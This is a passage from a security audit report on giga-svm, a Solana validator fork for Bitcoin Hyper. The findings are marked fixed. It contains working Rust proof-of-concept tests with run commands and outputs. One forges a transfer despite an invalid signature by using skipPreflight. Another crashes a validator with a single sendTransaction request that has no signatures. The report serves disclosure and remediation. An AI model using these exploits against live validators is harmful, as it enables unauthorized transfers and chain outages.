HACKEN

Blockchain Protocol Security Analysis Report



Customer: Bitcoin Hyper

Date: 24/11/2026

We express our gratitude to the Bitcoin Hyper team for their collaboration throughout this Blockchain Protocol Security Assessment.

Bitcoin Hyper is a Bitcoin Layer 2 project with a Solana Virtual Machine (SVM) execution layer. This assessment covers `giga-svm`, an Anza Agave v1.18.21 validator fork submitted as its core node software. The fork changes the nominal slot target from 400 ms to 32 ms and adds a direct path for leader-local execution of RPC-submitted transactions alongside the forwarding and retry service. The bridge, explorer, and wallet are outside the reviewed scope.

Document

Name	Blockchain Protocol Review and Security Analysis Report for Bitcoin Hyper
Audited By	Sofiane Akermoun
Approved By	Tanuj Soni
Website	https://bitcoinhyper.com
Changelog	18/11/2026 - Preliminary Report
	24/11/2026 - Final Report
Platform	Solana
Language	Rust
Tags	Layer 1, Solana
Methodology	https://docs.hacken.io/methodologies/blockchain-protocols

Review Scope

Repository	https://github.com/Yona-Labs/giga-svm
Commit	bf6eec5134af396445f959458b3e2182ae5df258

Audit Summary

The system users should acknowledge all the risks summed up in the risks section of the report

9	9	0	0
Total Findings	Resolved	Accepted	Mitigated

Findings by Severity

Severity	Count
Critical	3
High	4
Medium	0
Low	2

Vulnerability	Severity	Status
F-2026-20534 - RPC Signature Verification Bypass	Critical	Fixed
F-2026-20580 - One RPC Request Without Signatures Terminates Any Reachable Validator	Critical	Fixed
F-2026-20671 - Upstream Security and Availability Fixes Are Missing from the Fork	Critical	Fixed
F-2026-20541 - RPC Transactions Expire on Non-Leader Nodes	High	Fixed
F-2026-20548 - Unbounded RPC Queue Grows Without Limit	High	Fixed
F-2026-20579 - Leader Silently Drops RPC Transactions Marked for Retry	High	Fixed
F-2026-20593 - Direct RPC Path Lets Leaders Record Transactions with Unusable Lookup Tables	High	Fixed
F-2026-20635 - RPC Worker Prevents Graceful Validator Shutdown	Low	Fixed
F-2026-20650 - RPC Worker Bypasses Vote-Only Mode	Low	Fixed

Documentation quality

- The repository includes Agave's build, testing, and validator operation guides.
- The README describes upstream Solana but does not document the fork's RPC transaction architecture or 32 ms clock.
- Comments next to the clock constants describe 2,000 ticks per second and 32 ms slots.

Code quality

- The codebase follows Agave's modular Rust structure and pins Rust 1.85.0.
- `sendTransaction` verifies signatures and submits transactions to a forwarding and retry service. The direct RPC path uses a bounded queue, rechecks lookup tables against the executing bank, honors vote-only mode, and exits its worker when the channel closes.
- The fork is based on the unmaintained Agave 1.18 line and includes backports of later upstream security and stability fixes.

Architecture quality

- **Scalability:** The TPU pipeline supports parallel transaction execution. The separate RPC fast path uses a single worker with a bounded queue, and the code targets 32 ms slots.
- **Decentralization:** Leader selection and voting are stake based. Validator admission is permissioned by project design.
- **Performance:** Each RPC submission enters the forwarding and retry service. The node also attempts a direct local copy, which can execute when it is leader.
- **Resilience:** Agave's replay and repair mechanisms are included alongside signature and lookup-table checks, bounded queues, transaction retries, worker shutdown, and upstream fixes.

Test coverage

- The repository includes Agave's unit and integration test suite.
- The fork includes tests for its RPC transaction path, forwarding and retries, queue limits, lookup tables, vote-only behavior, PoH pacing, and upstream fixes.

Table of Contents

System Overview **6**

Risks **7**

Findings **8**

Vulnerability Details 8

F-2026-20534 - RPC Signature Verification Bypass - Critical 8

F-2026-20580 - One RPC Request Without Signatures Terminates Any Reachable Validator - Critical 16

F-2026-20671 - Upstream Security And Availability Fixes Are Missing From The Fork - Critical 22

Security Fixes

Stability Fixes

F-2026-20541 - RPC Transactions Expire On Non-Leader Nodes - High 26

F-2026-20548 - Unbounded RPC Queue Grows Without Limit - High 32

F-2026-20579 - Leader Silently Drops RPC Transactions Marked For Retry - High 37

F-2026-20593 - Direct RPC Path Lets Leaders Record Transactions With Unusable Lookup Tables - High 43

F-2026-20635 - RPC Worker Prevents Graceful Validator Shutdown - Low 46

F-2026-20650 - RPC Worker Bypasses Vote-Only Mode - Low 48

Observation Details 50

F-2026-20669 - Fork Changes Add No Tests And Break Existing Unit Tests - Info 50

F-2026-20670 - PoH Can Advance Faster Than The 32 Ms Slot Target - Info 52

Disclaimers 54

Hacken Disclaimer 54

Technical Disclaimer 54

Appendix 1. Severity Definitions **55**

Appendix 2. Scope **56**

Components In Scope 56

Source Code In Scope: 56

Appendix 3. Additional Valuables **57**

Frameworks And Methodologies 57

System Overview

giga-svm is the validator software for Bitcoin Hyper's SVM-based network, built from Agave v1.18.21. Its nodes execute transactions with the SVM, take turns producing blocks according to a stake-weighted leader schedule, and replay other leaders' blocks before voting on them. The client stated that participation in the live validator set will be permissioned.

Transaction submission and block production

Clients submit signed transactions through RPC or the TPU. TPU submissions pass through signature verification and BankingStage prioritization. For RPC `sendTransaction`, the node verifies signatures and submits the transaction to the forwarding and retry service, subject to retry and expiry limits. It also attempts to queue a copy for local BankingStage processing when the node has a leader bank. Other validators replay produced blocks against their own state before voting.

Clock and configuration

The fork targets 32 ms slots through 2,000 ticks per second and 64 ticks per slot. A leader's four consecutive slots therefore have a nominal duration of 128 ms. Genesis selects the PoH tick mode. The fork also adds a native mint account at genesis, adjusts snapshot slot-delta validation, and emits a latency metric for selected RPC transaction signatures. The bridge, Bitcoin anchoring, explorer, and wallet are outside the audited repository.

Risks

- **Fork maintenance:** giga-svm is based on Agave v1.18.21, a release line that no longer receives upstream fixes. Future security and stability fixes require ongoing backports.
- **Launch configuration:** The network will start from a fresh genesis, but its configuration and planned permissioned validator set were not provided for review. Supply, feature activations, PoH settings, validator count, and stake distribution should be assessed before launch. Validator count and stake distribution affect leader concentration, liveness, and safety.
- **Performance validation:** The fork targets 32 ms slots. Its behavior on the intended hardware and network topology has not been established through release benchmarks.

Findings

Vulnerability Details

F-2026-20534 - RPC Signature Verification Bypass - Critical

Description:

An unauthenticated client can submit a transaction that names another account as its signer but carries an invalid signature. By calling `sendTransaction` on a leader's reachable RPC endpoint with `skipPreflight=true`, the client can make that honest leader execute the transaction and record it in a block. The client needs neither the account's private key nor validator stake. For example, the transaction can request a transfer from a funded account controlled by someone else. This authorization bypass was introduced by commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2`, which added a direct RPC-to-BankingStage transaction path.

The root cause is the fork's replacement of the TPU relay used by `sendTransaction`. In Agave v1.18.21, the RPC handler passed serialized transaction bytes to the send service, and the TPU's `TransactionSigVerifier` checked Ed25519 signatures before BankingStage. The fork queues a sanitized transaction directly into BankingStage, bypassing that TPU check. The `skipPreflight` condition is unchanged from Agave: when the caller sets it to `true`, the RPC check is also skipped, so this new route has no signature verification before local execution.

The RPC method sanitizes the decoded transaction, but sanitization does not authenticate its signer:

```
let transaction = sanitize_transaction(unsanitized_tx, preflight_ba
nk)?;
let signature = *transaction.signature();
```

The RPC helper performs the actual cryptographic check:

```
if transaction.verify().is_err() {
return Err(RpcCustomError::TransactionSignatureVerificationFailure.
into());
}
```

But the helper is reached only inside the preflight branch. A caller controls `skipPreflight`, so setting it to `true` skips this check:

```
if !skip_preflight {
verify_transaction(&transaction, &preflight_bank.feature_set)?;
```

Instead of sending the serialized transaction through the normal TPU pipeline, the fork enqueues the sanitized transaction directly:

```
if let Err(_) = meta.rpc_tx_sender.try_send(transaction) {
// do nothing
}

Ok(signature.to_string())
```

The new BankingStage worker waits for a local leader bank and passes the queued transactions to the consumer:

```
let bank_start = loop {
if let Some(bank_start) = DecisionMaker::bank_start(&decision_maker
.poh_recorder.read().unwrap()) {
break bank_start;
}

thread::sleep(Duration::from_nanos(10));
};
let before_process = Instant::now();
consumer.process_packets_transactions(&bank_start.working_bank, &ba
nk_start.bank_creation_time, &tx_buffer, &banking_stage_stats, &mut
slot_metrics_tracker);
```

The consumer's pre-execution checks check the bank's transaction rules and precompiles; they do not call `transaction.verify()` for ordinary transaction signatures:

```
let pre_results = vec![Ok(()); txs.len()];
let check_results =
bank.check_transactions(txs, &pre_results, MAX_PROCESSING_AGE, &mut
error_counters);
// If checks passed, verify pre-compiles and continue processing on
success.
let check_results: Vec<_> = txs
.iter()
.zip(check_results)
.map(|(tx, (result, _nonce))| match result {
Ok(_) => tx.verify_precompiles(&bank.feature_set),
Err(err) => Err(err),
})
.collect();
```

In the two-validator reproduction, the leader executed and recorded an invalid-signature transfer. The other validator rejected the block during replay, consistent with the replay signature check:

```
if !valid {
warn!(
"Ledger transaction signature verification failed at slot: {}",
bank.slot()
);
return Err(TransactionError::SignatureFailure.into());
}
```

The impact depends on the honest leader's voting stake, not the attacker's. The duplicate-confirmation threshold is `1 - 0.38 - 0.10 = 0.52`, using the switch-fork threshold of `0.38`. The comparison is strict: more than 52% of stake must have voted on the slot for duplicate confirmation.

```
pub const DUPLICATE_LIVENESS_THRESHOLD: f64 = 0.1;
pub const DUPLICATE_THRESHOLD: f64 = 1.0 - SWITCH_FORK_THRESHOLD -
```

```
DUPLICATE_LIVENESS_THRESHOLD;
```

```
.map(|stake| (*stake as f64 / total_stake as f64) > DUPLICATE_THRES
HOLD)
```

- **Leader with at most 52% stake:** peers reject the invalid slot. An attacker who can reach successive leaders' RPC endpoints can repeat the submission to disrupt their slots. Rejected slots do not charge transaction fees on the surviving chain, so this repetition requires no on-chain fee from the attacker.
- **Leader with more than 52% but no finalizing supermajority:** the invalid slot can become duplicate-confirmed. Peers that rejected it and observe that confirmation attempt repair. The leader produced only the invalid version, so each repair retrieves a block that fails signature verification again; after repeated failures, those peers panic. If they exit and leave only the leader voting with less than two-thirds of total stake, new blocks cannot reach supermajority finality, stalling progress until sufficient voting stake returns.
- **Leader with more than two-thirds of stake:** the leader's votes can finalize the unauthorized transfer on its fork. The same votes also cross the 52% duplicate-confirmation threshold, so peers that reject the slot can enter the repair loop and stop. This is especially relevant at chain launch or when stake is highly concentrated.

The vote tower's default depth is eight, and its threshold is two-thirds. When that depth check applies, a lone leader below the threshold cannot pass the normal vote-stake check:

```
pub const VOTE_THRESHOLD_DEPTH: usize = 8;
```

```
pub const VOTE_THRESHOLD_SIZE: f64 = 2f64 / 3f64;
```

```
if lockout > threshold_size {
return ThresholdDecision::PassedThreshold;
}
ThresholdDecision::FailedThreshold(threshold_depth as u64, *fork_st
ake)
```

The two-validator reproduction observed the peer mark the invalid slot dead, enter duplicate repair, and panic after the retry limit. The existing replay guard panics after more than ten unsuccessful repairs:

```
if *attempt_no > MAX_REPAIR_RETRY_LOOP_ATTEMPTS {
panic!("We have tried to repair duplicate slot: {duplicate_slot} mo
re than {MAX_REPAIR_RETRY_LOOP_ATTEMPTS} times \
and are unable to freeze a block with bankhash {correct_hash}, \
instead we have a block with bankhash {frozen_hash:?}. \
This is most likely a bug in the runtime. \
At this point manual intervention is needed to make progress. Exiti
ng");
}
```

The production validator installs a panic hook that terminates the process with exit code 1. This makes the same attack a validator availability risk when the repair condition is reached:

```
solana_metrics::set_panic_hook("validator", Some(String::from(solan
a_version)));
```

```
// Exit cleanly so the process don't limp along in a half-dead stat
e
std::process::exit(1);
```

Assets:

- rpc/src/rpc.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 5/5

Likelihood Rate: 5/5

Severity: Critical

Recommendations

Remediation:

1. Make signature verification mandatory before `rpc_tx_sender.try_send(transaction)`. Move `verify_transaction(&transaction, &preflight_bank.feature_set)?` outside and above `if !skip_preflight`, leaving health checks and simulation inside that branch. Reject invalid signatures regardless of the caller's `skipPreflight` setting.
2. Preserve this verification boundary for every direct route into BankingStage. If equivalent verification cannot be guaranteed, restore the serialized-transaction route through SendTransactionService and the TPU signature verifier.
3. Add a regression test that submits an invalid-signature transaction with `skipPreflight=true` and asserts that no leader bank executes it, no block records it, and peers do not receive a block containing it. Cover both the ordinary TPU route and the direct RPC route if both remain available.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`

Evidences

rpc_skip_preflight_invalid_signature.rs

Reproduce:

The test therefore starts with stake concentrated on the leader. It makes a funded transfer, corrupts its signature, and confirms locally that the resulting transaction fails signature verification. It then sends the transaction to the leader's RPC endpoint with `skipPreflight=true`. A passing test establishes three observable effects: the leader bank credits the recipient, the leader's blockstore contains the malformed transaction, and the peer marks that slot dead after replay. The extra 20-second wait lets replay and duplicate-repair messages appear in the test output.

Install and Run:

1. In the fork repository root, create `local-cluster/tests/rpc_skip_preflight_invalid_signature.rs` with the source below. The `local-cluster/tests/` directory already exists; no existing source file or Cargo manifest needs editing.
2. Use the repository's pinned Rust toolchain and allow local loopback socket binding.
3. From the repository root, run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-local-cluster --te
st rpc_skip_preflight_invalid_signature -- --nocapture --test-threa
ds=1
```

POC: `local-cluster/tests/rpc_skip_preflight_invalid_signature.rs`

```
//! An RPC caller can bypass transaction signature verification on
the
//! fork's direct RPC-to-BankingStage path by setting `skip_preflig
ht = true`.
//!
//! This integration test starts two local validators, corrupts the
signature of
//! a funded transfer, and sends it to the leader's RPC endpoint. I
t asserts
//! that the leader executes and records the transaction while the
peer marks
//! the resulting slot dead. The final delay keeps the cluster aliv
e long enough
//! to print any duplicate-repair activity; the panic is not a test
assertion.

use {
solana_local_cluster::{
integration_tests::{DEFAULT_CLUSTER_LAMPORTS, DEFAULT_NODE_STAKE},
local_cluster::LocalCluster,
},
solana_rpc_client::rpc_client::RpcClient,
solana_rpc_client_api::config::RpcSendTransactionConfig,
solana_sdk::{
commitment_config::CommitmentConfig,
pubkey::Pubkey,
signature::Signature,
system_transaction,
},
solana_streamer::socket::SocketAddrSpace,
std::{
thread::sleep,
time::{Duration, Instant},
},
};

#[test]
```

```rust
fn rpc_skip_preflight_executes_invalid_signature_and_peer_rejects_s
lot() {
solana_logger::setup_with(
"solana_core::replay_stage=warn,solana_core::repair::cluster_slot_s
tate_verifier=warn,solana_ledger::blockstore_processor=warn",
);
// Start an isolated cluster with a leader RPC and a separate repla
ying peer.
// Despite the helper name, only the bootstrap leader is staked in
genesis;
// the peer's vote and stake accounts are created after genesis.
let cluster = LocalCluster::new_with_equal_stakes(
2,
DEFAULT_CLUSTER_LAMPORTS,
DEFAULT_NODE_STAKE,
SocketAddrSpace::Unspecified,
);
let leader_id = *cluster.entry_point_info.pubkey();
let peer_id = *cluster
.validators
.keys()
.find(|id| **id != leader_id)
.unwrap();
let leader_rpc_url = format!("http://{}", cluster.entry_point_info.
rpc().unwrap());
let payer = cluster.funding_keypair.insecure_clone();
let leader_validator = cluster.validators[&leader_id].validator.as_
ref().unwrap();
let leader_banks = leader_validator.bank_forks.clone();
let leader_store = leader_validator.blockstore.clone();
let peer_store = cluster.validators[&peer_id]
.validator
.as_ref()
.unwrap()
.blockstore
.clone();
// Dropping LocalCluster would shut down the validators before repl
ay finishes.
std::mem::forget(cluster);

// Build a signed transfer, then flip one signature byte. The final
// transaction has no valid payer signature, as the assertion confi
rms.
let rpc = RpcClient::new_with_commitment(leader_rpc_url, Commitment
Config::processed());
let blockhash = rpc.get_latest_blockhash().unwrap();
let recipient = Pubkey::new_unique();
let mut tx = system_transaction::transfer(&payer, &recipient, 1_000
_000, blockhash);
let mut sig_bytes: [u8; 64] = tx.signatures[0].into();
sig_bytes[0] ^= 1;
tx.signatures[0] = Signature::from(sig_bytes);
assert!(tx.verify().is_err());
let sig = tx.signatures[0];
println!("INVALID_SIGNATURE={sig} RECIPIENT={recipient}");

// The attacker controls this RPC option. The returned signature al
one is
// insufficient evidence of execution, so the bank and blockstore a
re checked.
let response = rpc
.send_transaction_with_config(
&tx,
RpcSendTransactionConfig {
skip_preflight: true,
..RpcSendTransactionConfig::default()
},
)
.unwrap();
assert_eq!(response, sig);
println!("RPC_ACCEPTED={response}");

// Look for the recipient credit in a bank created by the leader.
let mut local_slot = None;
let deadline = Instant::now() + Duration::from_secs(20);
while Instant::now() < deadline {
let forks = leader_banks.read().unwrap();
if let Some((&slot, _)) = forks
.banks()
.iter()
.find(|(_, bank)| bank.get_balance(&recipient) == 1_000_000)
```

```
{
local_slot = Some(slot);
break;
}
drop(forks);
sleep(Duration::from_millis(5));
}
let slot = local_slot.expect("leader never executed invalid-signatu
re transaction");
println!("LEADER_EXECUTED_SLOT={slot}");

// Confirm that the leader recorded the malformed transaction and t
hat the
// peer received the slot but rejected it during replay.
let deadline = Instant::now() + Duration::from_secs(20);
let mut leader_recorded = false;
let mut peer_dead = false;
let mut peer_received = false;
while Instant::now() < deadline {
if let Ok(entries) = leader_store.get_slot_entries(slot, 0) {
leader_recorded = entries
.iter()
.flat_map(|entry| &entry.transactions)
.any(|entry_tx| entry_tx.signatures[0] == sig);
}
peer_received = peer_store
.get_slot_entries_with_shred_info(slot, 0, true)
.is_ok();
peer_dead = peer_store.is_dead(slot);
if leader_recorded && peer_dead {
break;
}
sleep(Duration::from_millis(20));
}
println!(
"LEADER_RECORDED={leader_recorded} PEER_RECEIVED={peer_received} PE
ER_DEAD={peer_dead}"
);
assert!(
leader_recorded,
"invalid-signature transaction not found in leader blockstore"
);
assert!(peer_dead, "peer did not mark invalid-signature slot dead")
;
// Keep the peer running so the replay/repair logs can be inspected
.
println!("WAITING_FOR_REPLAY_REPAIR_RESULT");
sleep(Duration::from_secs(20));
println!("REPLAY_REPAIR_OBSERVATION_COMPLETE");
}
```

Results:

```
INVALID_SIGNATURE=4mYR2kcrvn4tmV4oEZKzkpJzyaJXrEGifCe3eZCTzokQTWCRU
dBBvYRfGJaH4JYRY39mgRcB2FcMLiFcrmDGVpEb RECIPIENT=1111111ogCyDbaRMv
kdsHB3qfdyFYaG1WtRUAfdh
RPC_ACCEPTED=4mYR2kcrvn4tmV4oEZKzkpJzyaJXrEGifCe3eZCTzokQTWCRUdBBvY
RfGJaH4JYRY39mgRcB2FcMLiFcrmDGVpEb
LEADER_EXECUTED_SLOT=73
[2026-11-12T10:39:02.273571000Z WARN solana_ledger::blockstore_proc
essor] Ledger transaction signature verification failed at slot: 73
LEADER_RECORDED=true PEER_RECEIVED=true PEER_DEAD=true
[2026-11-12T10:39:08.215943000Z WARN solana_core::repair::cluster_s
lot_state_verifier] EpochSlots sample returned slot 73 with hash 8m
y2seFiw1qc5DPTNCDdGBspWZ1M3k3SaamJsk4kr1T2, but we marked slot dead
[2026-11-12T10:39:11.470116000Z WARN solana_core::replay_stage] Not
ifying repair service to repair duplicate slot: 73, attempt 10
thread 'solReplayStage' panicked at core/src/replay_stage.rs:1441:2
5:
We have tried to repair duplicate slot: 73 more than 10 times and a
re unable to freeze a block with bankhash 8my2seFiw1qc5DPTNCDdGBspW
Z1M3k3SaamJsk4kr1T2, instead we have a block with bankhash Some(111
11111111111111111111111111111). This is most likely a bug in the ru
ntime. At this point manual intervention is needed to make progress
. Exiting
REPLAY_REPAIR_OBSERVATION_COMPLETE
ok
```

```
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 28.39s
```

The RPC returned a transaction signature (`RPC_ACCEPTED`), but that response alone does not prove execution. The test separately found the recipient's credited balance in the leader's bank (`LEADER_EXECUTED_SLOT=73`) and the invalid transaction in the leader's blockstore (`LEADER_RECORDED=true`). The peer received the slot, detected the invalid signature, and marked the slot dead (`PEER_RECEIVED=true PEER_DEAD=true`).

The later panic happened in the peer validator's background replay thread. The test function itself completed its assertions and returned normally, so Cargo reported `ok`. A production validator installs a panic hook that exits the entire process; this test harness does not.

F-2026-20580 - One RPC Request Without Signatures Terminates Any Reachable Validator - Critical

Description:

Any client that can reach a node's `sendTransaction` RPC method can terminate the validator process with a single request whose transaction contains no signatures. The client needs no private key, stake, funds, or valid signature. The default preflight setting does not prevent it, because the failure happens before preflight runs. The issue was introduced by commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2`, which added latency measurement for transactions submitted through `sendTransaction`.

The fork's `sendTransaction` handler reads the first signature of the decoded transaction to feed the latency channel:

```
let (wire_transaction, unsanitized_tx) =
decode_and_deserialize::<VersionedTransaction>(data, binary_encodin
g)?;
if let Err(_) = meta.transaction_latency_sender.try_send(*unsanitiz
ed_tx.get_signature()) {
// ignore error
};
```

`decode_and_deserialize` decodes base58 or base64, checks the size limit, and deserializes with bincode. It does not sanitize the transaction, so an empty signature list is accepted. Sanitization happens later in the handler, after the signature has already been read.

For this call, the fork imports the client-side `SerializableTransaction` trait into the RPC server. Its `get_signature` for `VersionedTransaction` indexes the signature vector directly:

```
impl SerializableTransaction for VersionedTransaction {
fn get_signature(&self) -> &Signature {
&self.signatures[0]
}
```

With no signatures, the index panics in the RPC server thread (`solRpcEl`). The production validator installs a panic hook that terminates the process when any thread panics:

```
solana_metrics::set_panic_hook("validator", Some(String::from(solan
a_version)));
```

```
// Exit cleanly so the process don't limp along in a half-dead stat
e
std::process::exit(1);
```

At the Agave v1.18.21 baseline, the handler passes the deserialized transaction to `sanitize_transaction` without reading a signature first, and the same input returns a JSON-RPC error. Agave's own

`test_rpc_send_transaction_preflight` clears a transaction's signatures and expects:

```
{"jsonrpc":"2.0","error":{"code":-32602,"message":"invalid transact
ion: Transaction failed to sanitize accounts offsets correctly"},"i
d":1}
```

This test would have caught the regression, but it no longer runs on the fork: the fork added a parameter to `JsonRpcRequestProcessor::new` without updating the test, so the RPC test module does not compile.

`sendTransaction` belongs to the full RPC API, which the repository's bootstrap validator script and validator script enable by default. Any client that can reach a node's RPC endpoint can terminate it, and can terminate it again with the same request as soon as it restarts.
Because the fork's RPC path only includes transactions on the node that is currently leader, deployments that rely on `sendTransaction` are pushed to expose the RPC endpoints of block-producing validators. Where those endpoints are reachable, the impact extends to consensus.
In the repository's setup, a single bootstrap validator produces all blocks, so terminating it halts the chain. With several validators, terminating those whose RPC is reachable and that together hold more than one third of the stake prevents the remaining stake from reaching the two-thirds supermajority, so new blocks can no longer be confirmed or finalized.

Assets:

- rpc/src/rpc.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 5/5

Likelihood Rate: 5/5

Severity: Critical

Recommendations

Remediation:

- Read the signature only after sanitization. Move the latency measurement below `sanitize_transaction` and use `*transaction.signature()`; a `SanitizedTransaction` always has at least one signature. Alternatively, use `unsanitized_tx.signatures.first()` and skip the measurement when it returns `None`.
- Do not apply client-side helpers that assume well-formed input, such as `SerializableTransaction::get_signature`, to unvalidated request data in

RPC handlers.

- Update `test_rpc_send_transaction_preflight` to the fork's `JsonRpcRequestProcessor::new` signature so its zero-signature case runs again, and keep the PoC below as an integration regression test.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`

Evidences

rpc_send_transaction_zero_signatures.rs

Reproduce: This integration test runs a local fork validator, created with `TestValidator`, in a child process. Before the validator serves requests, the child installs the same panic hook as the production binary, `solana_metrics::set_panic_hook`. The parent waits for the validator's RPC endpoint and checks that it answers `getSlot`. It then builds an ordinary transfer, clears its signature list, and submits it once with `sendTransaction` and default preflight.

A passing test establishes that this single request made the RPC server thread `solRpcEl` panic with `index out of bounds: the len is 0 but the index is 0`, that the validator process exited with status 1, and that the validator no longer answers RPC. A healthy validator would reject the request with a JSON-RPC error and keep running, and the test would fail.

From the fork repository root, create the `validator/tests/` directory, create `validator/tests/rpc_send_transaction_zero_signatures.rs` in it, and paste the complete source below. If the file is already present, use it as is.
Run with:

```
COPYFILE_DISABLE=1 cargo test --locked -p agave-validator --test rp
c_send_transaction_zero_signatures -- --nocapture
```

The complete source for `validator/tests/rpc_send_transaction_zero_signatures.rs` is:

```
//! One `sendTransaction` request whose transaction has an empty
//! signature list terminates the validator process.
//!
//! The test runs a local validator in a child process, with the sa
me panic hook
//! that the production binary installs (`solana_metrics::set_panic
_hook`, see
//! validator/src/main.rs). The parent waits for the validator's RP
C endpoint,
//! sends a single request, and checks that the validator process e
xits with
//! status 1 after a panic in its RPC server thread.

use {
solana_rpc_client::rpc_client::RpcClient,
solana_rpc_client_api::config::RpcSendTransactionConfig,
solana_sdk::{
commitment_config::CommitmentConfig, pubkey::Pubkey, signature::Key
```

```
pair,
system_transaction,
},
solana_test_validator::TestValidatorGenesis,
std::{
io::{BufRead, BufReader, Read, Write},
process::{Command, Stdio},
sync::mpsc,
thread::{sleep, spawn},
time::{Duration, Instant},
},
};

const TEST_NAME: &str = "zero_signature_send_transaction_terminates
_validator";
const CHILD_ENV: &str = "PF05_RUN_VALIDATOR";

#[test]
fn zero_signature_send_transaction_terminates_validator() {
if std::env::var(CHILD_ENV).is_ok() {
run_validator();
return;
}

// Start this same test binary as the validator process.
let mut validator = Command::new(std::env::current_exe().unwrap())
.args(["--exact", TEST_NAME, "--nocapture", "--test-threads=1"])
.env(CHILD_ENV, "1")
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.unwrap();
let (line_sender, line_receiver) = mpsc::channel();
let stdout = validator.stdout.take().unwrap();
spawn(move || {
for line in BufReader::new(stdout).lines().map_while(Result::ok) {
let _ = line_sender.send(line);
}
});
let mut stderr = validator.stderr.take().unwrap();
let stderr_reader = spawn(move || {
let mut text = String::new();
let _ = stderr.read_to_string(&mut text);
text
});

let rpc_url = loop {
let line = line_receiver
.recv_timeout(Duration::from_secs(300))
.expect("validator did not start");
if let Some(url) = line.strip_prefix("RPC_URL=") {
break url.to_string();
}
};
let rpc = RpcClient::new_with_commitment(rpc_url.clone(), Commitmen
tConfig::processed());
let slot_before = rpc.get_slot().expect("validator RPC is not reach
able");
println!("\nBEFORE: validator pid {} at {rpc_url} answers getSlot =
{slot_before}", validator.id());

// Build an ordinary transfer, then remove its signatures. Deserial
ization
// accepts an empty signature list; sanitization would reject it, b
ut the
// fork reads signatures[0] before sanitizing. Preflight stays at i
ts default
// (enabled); the panic happens before preflight runs.
let blockhash = rpc.get_latest_blockhash().unwrap();
let mut tx =
system_transaction::transfer(&Keypair::new(), &Pubkey::new_unique()
, 1, blockhash);
tx.signatures.clear();
println!("REQUEST: sendTransaction with an empty signature list, de
fault preflight");
match rpc.send_transaction_with_config(&tx, RpcSendTransactionConfi
g::default()) {
Ok(signature) => println!("RESPONSE: signature {signature}"),
Err(err) => println!("RESPONSE: error: {err}"),
}
```

```
let deadline = Instant::now() + Duration::from_secs(30);
let status = loop {
if let Some(status) = validator.try_wait().unwrap() {
break Some(status);
}
if Instant::now() > deadline {
break None;
}
sleep(Duration::from_millis(100));
};
let Some(status) = status else {
let _ = validator.kill();
panic!("validator process is still running after the request");
};
let validator_stderr = stderr_reader.join().unwrap();
println!("VALIDATOR EXIT STATUS: {:?}", status.code());
for line in validator_stderr
.lines()
.filter(|line| line.contains("panicked at") || line.contains("index
out of bounds"))
{
println!("VALIDATOR STDERR: {line}");
}
println!(
"AFTER: validator still answers getSlot = {}",
rpc.get_slot().is_ok()
);

assert_eq!(status.code(), Some(1), "validator did not exit with sta
tus 1");
assert!(validator_stderr.contains("thread 'solRpcEl' panicked at"))
;
assert!(validator_stderr.contains("index out of bounds: the len is
0 but the index is 0"));
assert!(rpc.get_slot().is_err(), "validator still answers RPC");
println!("PF-05 CONFIRMED: one sendTransaction request terminated t
he validator process");
}

fn run_validator() {
let (validator, _mint_keypair) = TestValidatorGenesis::default().st
art();
// Same call as validator/src/main.rs before the production node st
arts.
solana_metrics::set_panic_hook("validator", None);
println!("RPC_URL={}", validator.rpc_url());
std::io::stdout().flush().unwrap();
// Stay up for the parent; a healthy validator returns after this p
eriod.
sleep(Duration::from_secs(300));
}
```

Results:

```
running 1 test

BEFORE: validator pid 92639 at http://127.0.0.1:12710 answers getSl
ot = 26
REQUEST: sendTransaction with an empty signature list, default pref
light
RESPONSE: error: error sending request for url (http://127.0.0.1:12
710/): connection closed before message completed
VALIDATOR EXIT STATUS: Some(1)
VALIDATOR STDERR: thread 'solRpcEl' panicked at rpc-client/src/rpc_
client.rs:98:25:
VALIDATOR STDERR: index out of bounds: the len is 0 but the index i
s 0
AFTER: validator still answers getSlot = false
PF-05 CONFIRMED: one sendTransaction request terminated the validat
or process
test zero_signature_send_transaction_terminates_validator ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 9.62s
```

The request received no JSON-RPC response because the server closed the connection. The panic location `rpc-client/src/rpc_client.rs:98:25` is the

`&self.signatures[0]` expression shown above, called from the fork's `sendTransaction` handler. The validator process then exited with status 1 through the production panic hook.

The same request was also sent to the fork's `agave-validator` binary, started with the repository's own scripts on localhost (`./multinode-demo/setup.sh`, then `./multinode-demo/bootstrap-validator.sh --no-restart`). The validator was producing and voting on slots and answered `getSlot` before the request. Excerpt from its log:

```
thread 'solRpcEl' panicked at rpc-client/src/rpc_client.rs:98:25:
index out of bounds: the len is 0 but the index is 0
[2026-11-13T03:01:53.013023000Z ERROR solana_metrics::metrics] data
point: panic program="validator" thread="solRpcEl" one=1i message="
panicked at rpc-client/src/rpc_client.rs:98:25:
index out of bounds: the len is 0 but the index is 0" location="rpc
-client/src/rpc_client.rs:98:25" version="1.18.21 (src:00000000; fe
at:4215500110, client:Agave)"
./multinode-demo/bootstrap-validator.sh: line 166: kill: (88369) -
No such process
```

The `datapoint: panic` line is emitted by the panic hook that `validator/src/main.rs` installs. The last line comes from the demo script: when it tried to stop the validator, process 88369 no longer existed. The RPC port stopped answering immediately after the request.

F-2026-20671 - Upstream Security and Availability Fixes Are Missing from the Fork - Critical

Description:

The audited fork descends from Agave v1.18.21 and still contains the defects listed below. They are independent bugs grouped here because their upstream fixes were not incorporated. Overall severity is **Critical** for deployments whose TPU QUIC port is reachable by untrusted clients. The PoC below proves that a client without validator stake can exit the fork's TPU server process after Retry; repeated crashes of exposed validators could affect consensus availability. Network access controls would lower the likelihood. Each bullet has its own rating.

Security fixes

